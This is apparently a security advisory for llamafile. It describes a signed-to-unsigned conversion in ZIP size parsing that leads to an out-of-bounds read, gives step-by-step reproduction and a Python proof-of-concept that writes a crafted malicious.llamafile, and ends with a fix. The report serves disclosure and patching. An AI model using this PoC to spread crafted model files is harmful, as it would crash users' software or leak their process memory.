YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
[1] Repository
https://github.com/Mozilla-Ocho/llamafile
[2] Package Manager
other
[3] Affected Version
All versions (latest main branch confirmed)
[5] CVSS
Attack Vector: Local Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality: High Integrity: High Availability: High
[6] CWE
CWE-195: Signed to Unsigned Conversion Error
Title
Signed-to-Unsigned Integer Conversion in ZIP Size Parsing Causes OOB Memory Access
Description
llamafile's ZIP-embedded GGUF model loader has a signed-to-unsigned integer conversion vulnerability that leads to out-of-bounds memory access when loading a crafted .llamafile.
At llamafile/llamafile.c:175, the return value of get_zip_cfile_compressed_size() (type int64_t) is stored directly into file->size (type size_t, unsigned) without checking for the error return value of -1.
The function get_zip_cfile_compressed_size() at llamafile/zip.c:33-47 returns -1 when a ZIP entry has COMPRESSEDSIZE = 0xFFFFFFFF (indicating ZIP64 format) but the required ZIP64 extra field is missing or malformed. This is a normal error condition, not an edge case.
When -1 (int64_t) is stored into file->size (size_t), it becomes 0xFFFFFFFFFFFFFFFF (SIZE_MAX) on 64-bit systems.
At llamafile/llamafile.c:224-225:
file->mapsize = skew + file->size; // skew + SIZE_MAX wraps to a small value
file->mapping = mmap(0, file->mapsize, PROT_READ, MAP_SHARED, fd, mapoff);
The mmap() call succeeds with the small wrapped mapsize. However, subsequent reads via llamafile_read() use file->size (= SIZE_MAX) as the upper bound, causing memcpy() to read far beyond the actual memory mapping, resulting in SIGSEGV or information disclosure.
The struct llamafile at line 56-65 confirms size is size_t (unsigned).
[9] Occurrences
Occurrence 1: Permalink: https://github.com/Mozilla-Ocho/llamafile/blob/main/llamafile/llamafile.c#L175 Description: Unchecked signed-to-unsigned conversion โ int64_t -1 stored in size_t file->size becomes SIZE_MAX
Occurrence 2: Permalink: https://github.com/Mozilla-Ocho/llamafile/blob/main/llamafile/llamafile.c#L224 Description: Integer wraparound in mapsize calculation โ skew + SIZE_MAX wraps to small value
Occurrence 3: Permalink: https://github.com/Mozilla-Ocho/llamafile/blob/main/llamafile/zip.c#L46 Description: get_zip_cfile_compressed_size returns -1 on missing ZIP64 extra field โ caller does not check
[7] Steps to Reproduce
- Create a valid
.llamafileZIP containing a.ggufmodel entry - Hex-edit the ZIP central directory entry to set
COMPRESSEDSIZE = 0xFFFFFFFF(triggers ZIP64 path) - Remove or truncate the ZIP64 extra field from the central directory entry (so
get_zip_cfile_compressed_sizecannot find the actual size and returns -1) - Run:
./llamafile --model malicious.llamafile - Observe: segfault due to OOB memory read
Trigger flow:
ZIP central directory: COMPRESSEDSIZE = 0xFFFFFFFF (ZIP64 marker)
-> get_zip_cfile_compressed_size() searches for ZIP64 extra field
-> ZIP64 extra field missing -> returns -1 (int64_t)
-> file->size = (size_t)(-1) = 0xFFFFFFFFFFFFFFFF
-> file->mapsize = skew + 0xFFFFFFFFFFFFFFFF -> wraps to small value
-> mmap() succeeds with small mapping
-> llamafile_read() uses file->size as bound -> OOB read -> SIGSEGV
PoC Script:
import struct
gguf_name = b"model.gguf"
gguf_data = b"\x47\x47\x55\x46\x03\x00\x00\x00" + b"\x00" * 100
# ZIP local file header
lfh = struct.pack('<IHHHHI', 0x04034b50, 45, 0, 0, 0, 0)
lfh += struct.pack('<II', len(gguf_data), len(gguf_data))
lfh += struct.pack('<HH', len(gguf_name), 0) + gguf_name + gguf_data
# Central directory with COMPRESSEDSIZE=0xFFFFFFFF, NO ZIP64 extra
cde = struct.pack('<IHHHHHI', 0x02014b50, 45, 45, 0, 0, 0, 0)
cde += struct.pack('<II', 0xFFFFFFFF, 0xFFFFFFFF) # MALICIOUS: triggers ZIP64 path
cde += struct.pack('<HHHHI', len(gguf_name), 0, 0, 0, 0) # extra_len=0: NO ZIP64!
cde += struct.pack('<I', 0) + gguf_name
# EOCD
eocd = struct.pack('<IHHHHII H', 0x06054b50, 0, 0, 1, 1, len(cde), len(lfh), 0)
with open("malicious.llamafile", "wb") as f:
f.write(lfh + cde + eocd)
[8] Impact
An attacker who distributes a crafted .llamafile can:
- Crash llamafile on load (denial of service) via SIGSEGV from OOB memory read
- Leak process memory if adjacent memory is mapped โ the OOB read can expose sensitive data from the process address space
- Potential code execution if the OOB read corrupts heap metadata or reaches writable memory
llamafile is designed as a single-file executable that users download and run directly. A malicious .llamafile distributed via social engineering or compromised model repositories would crash or compromise any user who loads it.
The fix is simple: check the return value of get_zip_cfile_compressed_size() before storing in file->size:
int64_t compressed_size = get_zip_cfile_compressed_size(cdirdata + entry_offset);
if (compressed_size < 0) {
fprintf(stderr, "%s: error: failed to determine compressed size\n", prog);
goto Invalid;
}
file->size = (size_t)compressed_size;
- Downloads last month
- 12